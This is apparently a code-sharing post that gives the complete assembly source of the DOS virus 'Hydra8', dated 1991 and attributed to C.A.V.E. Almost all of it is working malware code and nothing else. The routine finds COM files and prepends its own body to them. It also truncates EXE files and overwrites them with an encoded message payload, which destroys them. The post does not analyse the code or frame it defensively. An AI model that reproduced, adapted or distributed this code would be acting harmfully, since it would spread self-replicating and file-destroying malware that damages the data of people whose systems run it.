Virus Hydra8 - Assembler

[fernandosena]

;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;ÛÛ ÛÛ
;ÛÛ HYDRA8 ÛÛ
;ÛÛ ÛÛ
;ÛÛ Codigo Fonte ÛÛ
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ

psp_cmd_size equ 80h
data_17e equ 1EFh
data_18e equ 1F2h
data_19e equ 9D9Ah

seg_a segment byte public
assume cs:seg_a, ds:seg_a


org 100h

hydra8 proc far

start:
jmp loc_3
db 59h, 44h, 00h, 00h
data_3 db 'HyDra-8 Beta - Not For Release'
db '. *.CO?'
db 0
data_6 dw 0, 8B39h
data_8 dw 0
data_9 db 0
db 18 dup (0)
data_10 db 0
db 10 dup (0)
data_11 db 0
db 0, 0, 0, 0, 0, 0
data_12 db 0
db 0, 0, 0, 0, 0, 0
copyright db 'Copyright (c)'
db ' 1991 by C.A.V.E. '
data_13 db 2Ah
db 2Eh, 45h, 58h, 45h, 00h
data_14 db 33h
db 0C9h, 1Eh, 52h,0E8h, 06h, 00h
db 0E8h, 13h, 00h,0EBh, 36h, 90h
db 0BEh, 48h, 01h
db 0BFh, 5Ah, 01h,0B9h, 12h, 00h

locloop_1:
xor byte ptr [si],0F5h
movsb ; Mov [si] to es:[di]
loop locloop_1 ; Loop if cx > 0

retn
db 0B8h, 00h, 0Fh,0CDh, 10h,0B4h
db 00h,0CDh, 10h,0B8h, 00h, 02h
db 0B6h, 0Ch,0B2h, 1Fh,0CDh, 10h
db 33h,0D2h
db 0BAh, 5Ah, 01h,0B4h, 09h,0CDh
db 21h,0B8h, 00h, 02h,0B6h, 18h
db 0B2h, 00h,0CDh, 10h,0C3h
db 0B8h, 00h, 4Ch,0CDh, 21h, 00h
db 0A2h, 9Dh, 9Ah,0F5h, 9Ch, 86h
db 0F5h
db 0BFh, 9Ah, 9Dh, 9Bh,0F5h,0B2h
db 94h, 99h, 81h,0CAh,0D1h
loc_3:
push ax
mov ax,cs
add ax,1000h
xor di,di ; Zero register
mov cx,1EFh
mov si,100h
mov es,ax
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
mov ah,1Ah
mov dx,offset data_9
int 21h ; DOS Services ah=function 1Ah
; set DTA(disk xfer area) ds:dx
mov ah,4Eh ; 'N'
mov dx,offset data_3+22h ; ('*')
int 21h ; DOS Services ah=function 4Eh
; find 1st filenam match @ds:dx
jc loc_7 ; Jump if carry Set
loc_4:
mov ah,3Dh ; '='
mov al,2
mov dx,offset data_11
int 21h ; DOS Services ah=function 3Dh
; open file, al=mode,name@ds:dx
mov bx,ax
push es
pop ds
mov ax,3F00h
mov cx,0FFFFh
mov dx,data_17e
int 21h ; DOS Services ah=function 3Fh
; read file, bx=file handle
; cx=bytes to ds:dx buffer
add ax,1EFh
mov cs:data_8,ax
cmp word ptr ds:data_18e,4459h
jne loc_5 ; Jump if not equal
mov ah,3Eh ; '>'
int 21h ; DOS Services ah=function 3Eh
; close file, bx=file handle
push cs
pop ds
mov ah,4Fh ; 'O'
int 21h ; DOS Services ah=function 4Fh
; find next filename match
jc loc_8 ; Jump if carry Set
jmp short loc_4
loc_5:
xor cx,cx ; Zero register
mov dx,cx
mov ax,4200h
int 21h ; DOS Services ah=function 42h
; move file ptr, bx=file handle
; al=method, cx,dx=offset
jc loc_6 ; Jump if carry Set
mov ah,40h ; '@'
xor dx,dx ; Zero register
mov cx,cs:data_8
int 21h ; DOS Services ah=function 40h
; write file bx=file handle
; cx=bytes from ds:dx buffer
loc_6:
mov ah,3Eh ; '>'
int 21h ; DOS Services ah=function 3Eh
; close file, bx=file handle
push cs
pop ds
loc_7:
mov ah,1Ah
mov dx,psp_cmd_size
int 21h ; DOS Services ah=function 1Ah
; set DTA(disk xfer area) ds:dx
jmp short loc_11
db 90h
loc_8:
clc ; Clear carry flag
xor cx,cx ; Zero register
push ds
push dx
mov ah,1Ah
mov dx,offset data_9
int 21h ; DOS Services ah=function 1Ah
; set DTA(disk xfer area) ds:dx
mov dx,offset data_13
mov ah,4Eh ; 'N'
xor cx,cx ; Zero register
int 21h ; DOS Services ah=function 4Eh
; find 1st filenam match @ds:dx
jc loc_7 ; Jump if carry Set
loc_9:
mov ah,3Ch ; '<'
xor cx,cx ; Zero register
mov dx,offset data_11
int 21h ; DOS Services ah=function 3Ch
; create/truncate file @ ds:dx
mov bx,ax
jc loc_7 ; Jump if carry Set
mov ax,3D02h
mov dx,offset data_11
int 21h ; DOS Services ah=function 3Dh
; open file, al=mode,name@ds:dx
mov bx,ax
clc ; Clear carry flag
xor dx,dx ; Zero register
mov ah,40h ; '@'
mov dx,offset data_14
mov cx,5Ah
int 21h ; DOS Services ah=function 40h
; write file bx=file handle
; cx=bytes from ds:dx buffer
cmp ax,5Ah
jb loc_10 ; Jump if below
mov ah,3Eh ; '>'
int 21h ; DOS Services ah=function 3Eh
; close file, bx=file handle
jc loc_10 ; Jump if carry Set
mov ah,4Fh ; 'O'
int 21h ; DOS Services ah=function 4Fh
; find next filename match
jnc loc_9 ; Jump if carry=0
loc_10:
mov ax,4C00h
int 21h ; DOS Services ah=function 4Ch
; terminate with al=return code
loc_11:
xor di,di ; Zero register
mov si,offset data_15
mov cx,22h
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
pop bx
mov cs:data_6,0
mov word ptr cs:data_6+2,es
pop bx
jmp dword ptr cs:data_6
data_15 db 1Eh
db 07h,0B9h,0FFh,0FFh,0BEh,0EFh
db 02h,0BFh, 00h, 01h, 2Bh,0CEh
db 0F3h,0A4h, 2Eh,0C7h, 06h, 00h
db 01h, 00h, 01h, 2Eh, 8Ch, 1Eh
db 02h, 01h, 8Bh,0C3h, 2Eh,0FFh
db 2Eh, 00h, 01h,0CDh
db 20h

hydra8 endp

seg_a ends



end start